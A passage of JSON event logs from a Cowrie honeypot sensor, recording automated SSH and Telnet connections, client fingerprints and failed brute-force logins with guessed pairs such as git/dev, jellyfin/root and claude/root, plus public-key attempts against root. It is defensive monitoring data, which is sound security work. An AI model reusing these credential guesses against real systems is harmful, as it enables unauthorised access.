,"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:44.735174Z","src_ip":"45.156.87.147","session":"31c251696b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:44.883723Z","src_ip":"80.94.92.184","session":"2404e0de785b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:44.988124Z","src_ip":"45.156.87.147","session":"31c251696b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47670,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f219b7728bc","protocol":"telnet","message":"New connection: 128.199.8.54:47670 (159.203.135.109:23) [session: 0f219b7728bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:45.855457Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:46.075524Z","src_ip":"45.156.87.147","session":"31c251696b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48914,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbaca39edbca","protocol":"telnet","message":"New connection: 128.199.8.54:48914 (159.203.135.109:23) [session: cbaca39edbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:50.868329Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36450,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e1877ac9b9","protocol":"ssh","message":"New connection: 45.156.87.147:36450 (10.17.0.5:22) [session: 88e1877ac9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:51.218572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:51.222941Z","src_ip":"45.156.87.147","session":"88e1877ac9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:51.305223Z","src_ip":"45.156.87.147","session":"88e1877ac9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"root","message":"login attempt [jellyfin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:51.552965Z","src_ip":"45.156.87.147","session":"88e1877ac9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:52.639187Z","src_ip":"45.156.87.147","session":"88e1877ac9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36460,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc968475b6c5","protocol":"ssh","message":"New connection: 45.156.87.147:36460 (10.17.0.5:22) [session: bc968475b6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:57.436489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:57.440807Z","src_ip":"45.156.87.147","session":"bc968475b6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:57.526673Z","src_ip":"45.156.87.147","session":"bc968475b6c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:57.781883Z","src_ip":"45.156.87.147","session":"bc968475b6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:51:58.871681Z","src_ip":"45.156.87.147","session":"bc968475b6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":60756,"dst_ip":"10.17.0.5","dst_port":22,"session":"0436910cfa75","protocol":"ssh","message":"New connection: 45.148.146.52:60756 (10.17.0.5:22) [session: 0436910cfa75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:01.889268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:01.892766Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:01.985446Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:95:76:07:ec:c3:8d:3e:b3:de:c0:59:51:45:e5:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG96F5Y/tYw5u5d6Un/9eRXcmd8K/8PPiEnwgRbxTKmlN8SHGS6T1Njp99RfU5SylVWoLgFYEP/eSrUWx/2Fs/y5UcAgjyW+fg7YZE22Kda0EHCwxePcBe0zykU+4wkjrqYrX7/IdM1GCJ/971O69y3u9fMabLUYOgj1sA6EVKtAOWqHx2F24uU6MUCrlaa0xAdL6Qf4chvOSfkEs7tSFmabydaN6LHKLgydovGTMUZ+MuSnQ/b9WleQV2UyI8AmVhJik6C9RqZuToL1ZZmyUa3wSd4l4103llKY5Kllp1KHxisim8aiGEAchsn7nui0nbcse1ZvQhwOulo9dxIPGp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:95:76:07:ec:c3:8d:3e:b3:de:c0:59:51:45:e5:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.420230Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:95:76:07:ec:c3:8d:3e:b3:de:c0:59:51:45:e5:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG96F5Y/tYw5u5d6Un/9eRXcmd8K/8PPiEnwgRbxTKmlN8SHGS6T1Njp99RfU5SylVWoLgFYEP/eSrUWx/2Fs/y5UcAgjyW+fg7YZE22Kda0EHCwxePcBe0zykU+4wkjrqYrX7/IdM1GCJ/971O69y3u9fMabLUYOgj1sA6EVKtAOWqHx2F24uU6MUCrlaa0xAdL6Qf4chvOSfkEs7tSFmabydaN6LHKLgydovGTMUZ+MuSnQ/b9WleQV2UyI8AmVhJik6C9RqZuToL1ZZmyUa3wSd4l4103llKY5Kllp1KHxisim8aiGEAchsn7nui0nbcse1ZvQhwOulo9dxIPGp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.424806Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:db:b4:8e:93:17:5e:ca:c3:8a:5e:10:06:a8:a3:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChXLE8JztSuqw6XA+QzeqNS7cKDBwDUCYoQCoMPqf6YuQkbZDdREejN7mF4Hiiqh+gPy65ni0CGoyPBFg8SbYTkq+NQytW/jsZXqxQ1NqP0hj+z/MpqMy3UBX+TtRO120F/crQ/aJwPPYTT4ZRvu2YbLCas/yklu94NPtrwHGxFQoTIikQp3TAydSwavbm9fuL+tO5Nt2/E8rR30tzd2fLZbQsISbu2eQHCf2ju4Nk28bV0XKsEhIe7aBlXCT77eOpWqkuilk9slC7XGHyDk07nzXktdhpK8ZXe1jdbxmvCnGCY5hxy5oVdgVcUJQZ/RnzRyrzkEnRm9HpsslnqOzN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:db:b4:8e:93:17:5e:ca:c3:8a:5e:10:06:a8:a3:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.517175Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:db:b4:8e:93:17:5e:ca:c3:8a:5e:10:06:a8:a3:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChXLE8JztSuqw6XA+QzeqNS7cKDBwDUCYoQCoMPqf6YuQkbZDdREejN7mF4Hiiqh+gPy65ni0CGoyPBFg8SbYTkq+NQytW/jsZXqxQ1NqP0hj+z/MpqMy3UBX+TtRO120F/crQ/aJwPPYTT4ZRvu2YbLCas/yklu94NPtrwHGxFQoTIikQp3TAydSwavbm9fuL+tO5Nt2/E8rR30tzd2fLZbQsISbu2eQHCf2ju4Nk28bV0XKsEhIe7aBlXCT77eOpWqkuilk9slC7XGHyDk07nzXktdhpK8ZXe1jdbxmvCnGCY5hxy5oVdgVcUJQZ/RnzRyrzkEnRm9HpsslnqOzN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.525590Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:83:6a:bb:15:e9:dd:32:46:2d:05:d8:c5:f6:e5:28","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP7+7FQLojFZLaGXxfvi412JWxTw0U6kDEoPeDZNJP55w+ear91nHTMVL8wtinuoqqvxQi6kyBOBhxQQb7srfR5pe2WZqnt7aoLULA9wDwShsgnsflx5De+qhgTCgwMYP22WItLs3UK13VrSokvwWm3+hDqxXHxkzbsYS+RA2gk7AAAAFQC8VkYhPTptpd5FhTSB94oYwJ2MmQAAAIEAukfHbNClY9o+CzjMD9oHvrhTXt9f4PaedN1OlIZC3PlSt4ZaHJdMdqkst4U6QUVjY/EabXJCv7Gedzq4IdTSRvVRqM0xXoaiULtlSQUg9wpy/25G1qdnmuol0nB08kYQUOgDNN5GAvprrEQ0QCt9ozfP4H9iFaiolo6l/Phs4vMAAACBAOF2Cc9MFnGcbKZEhI2BdgxOerxFxECnYAFzcN6y2Wik4ZNRo+kSKa1tXLJm7JzfbSJ37Vsko+16BfNXKwZ6e9l4TC/2IYL8VKTdWd1QkzYLVRH1u++GR676nk2Q44E2OaR6CTY03R4OOBDj51Zgu4K0fk0nhgdNiyiL2vbzm35m","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a7:83:6a:bb:15:e9:dd:32:46:2d:05:d8:c5:f6:e5:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.623708Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:83:6a:bb:15:e9:dd:32:46:2d:05:d8:c5:f6:e5:28","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP7+7FQLojFZLaGXxfvi412JWxTw0U6kDEoPeDZNJP55w+ear91nHTMVL8wtinuoqqvxQi6kyBOBhxQQb7srfR5pe2WZqnt7aoLULA9wDwShsgnsflx5De+qhgTCgwMYP22WItLs3UK13VrSokvwWm3+hDqxXHxkzbsYS+RA2gk7AAAAFQC8VkYhPTptpd5FhTSB94oYwJ2MmQAAAIEAukfHbNClY9o+CzjMD9oHvrhTXt9f4PaedN1OlIZC3PlSt4ZaHJdMdqkst4U6QUVjY/EabXJCv7Gedzq4IdTSRvVRqM0xXoaiULtlSQUg9wpy/25G1qdnmuol0nB08kYQUOgDNN5GAvprrEQ0QCt9ozfP4H9iFaiolo6l/Phs4vMAAACBAOF2Cc9MFnGcbKZEhI2BdgxOerxFxECnYAFzcN6y2Wik4ZNRo+kSKa1tXLJm7JzfbSJ37Vsko+16BfNXKwZ6e9l4TC/2IYL8VKTdWd1QkzYLVRH1u++GR676nk2Q44E2OaR6CTY03R4OOBDj51Zgu4K0fk0nhgdNiyiL2vbzm35m","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.627008Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:58:61:4c:64:46:75:51:26:77:25:bf:68:1a:27:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCciRWl7izkuiUrKA5qoKhhXd4O6PzqLgIbWkQZqY0t/pVxFIKYLgjd1zYGVFpReV/NRmg93X61oEc2qJ9e3lCGhMZApTiDy0+eVPbtHXZ9VjFO8evjh4JtNnjmAu815dJ03GUtDDOCUEOtfSsV/DGriOL3cWXxlQ4S2aNuChnGBPPw0WMQoc8ANbJPgKBI1UNW22Hg2wzJmm1mdLdhnES9lEwTyLwJLmiwJgnkZwQqhU3+of8VeTZh3R9OkrmV2cQz4pNMlLPOpiIOw/ExC7SVj56nCQq3cu2KmbnK82J97JURHTAsdI1LWx1upeCclZNAgZTsym1+SFfRom0BbXR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:58:61:4c:64:46:75:51:26:77:25:bf:68:1a:27:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.722176Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:58:61:4c:64:46:75:51:26:77:25:bf:68:1a:27:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCciRWl7izkuiUrKA5qoKhhXd4O6PzqLgIbWkQZqY0t/pVxFIKYLgjd1zYGVFpReV/NRmg93X61oEc2qJ9e3lCGhMZApTiDy0+eVPbtHXZ9VjFO8evjh4JtNnjmAu815dJ03GUtDDOCUEOtfSsV/DGriOL3cWXxlQ4S2aNuChnGBPPw0WMQoc8ANbJPgKBI1UNW22Hg2wzJmm1mdLdhnES9lEwTyLwJLmiwJgnkZwQqhU3+of8VeTZh3R9OkrmV2cQz4pNMlLPOpiIOw/ExC7SVj56nCQq3cu2KmbnK82J97JURHTAsdI1LWx1upeCclZNAgZTsym1+SFfRom0BbXR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.726623Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:f7:94:d6:d8:30:01:d2:d4:35:43:db:a8:d9:f2:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvnIO6YyO6KM2tfnC6oTqpt/1JljjtHKGIbGs9+11AUTRd2ibhIBjEb/t1IzEKH1AGQrgixlTFk006Rm6CrVSQXeZmavoAiJXVO/XRiY9W2gjstZax4hwyxcrqVhR4eAJ6Qo4gcJh/BizCFAKsTy77N4oFWUlpfiZSvIBqX1GLm6xIzA+vMpuVIXkNim345qvp9RQ3NKYaXjKNKdBbLm3XoXhtAzVtlAHBTDCLJKm4PxT2hrcmlkzUH4qq5I8T9UrSG6O8M/i0r/Nd/Hep/Qx+ciVtukyuwAsXCww7a1jiIpewBv/s0wII2dqJQdmqaccoEQL3aNZkQlW/Cgzc6GOV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:f7:94:d6:d8:30:01:d2:d4:35:43:db:a8:d9:f2:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.818722Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:f7:94:d6:d8:30:01:d2:d4:35:43:db:a8:d9:f2:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvnIO6YyO6KM2tfnC6oTqpt/1JljjtHKGIbGs9+11AUTRd2ibhIBjEb/t1IzEKH1AGQrgixlTFk006Rm6CrVSQXeZmavoAiJXVO/XRiY9W2gjstZax4hwyxcrqVhR4eAJ6Qo4gcJh/BizCFAKsTy77N4oFWUlpfiZSvIBqX1GLm6xIzA+vMpuVIXkNim345qvp9RQ3NKYaXjKNKdBbLm3XoXhtAzVtlAHBTDCLJKm4PxT2hrcmlkzUH4qq5I8T9UrSG6O8M/i0r/Nd/Hep/Qx+ciVtukyuwAsXCww7a1jiIpewBv/s0wII2dqJQdmqaccoEQL3aNZkQlW/Cgzc6GOV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.822520Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:02.914790Z","src_ip":"45.148.146.52","session":"0436910cfa75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1bdf4859d67","protocol":"ssh","message":"New connection: 45.156.87.147:53566 (10.17.0.5:22) [session: d1bdf4859d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:03.704696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:03.735471Z","src_ip":"45.156.87.147","session":"d1bdf4859d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:03.794658Z","src_ip":"45.156.87.147","session":"d1bdf4859d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:04.122471Z","src_ip":"45.156.87.147","session":"d1bdf4859d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:05.208667Z","src_ip":"45.156.87.147","session":"d1bdf4859d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"249fedb34977","protocol":"ssh","message":"New connection: 45.156.87.147:44468 (10.17.0.5:22) [session: 249fedb34977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:09.878942Z"}
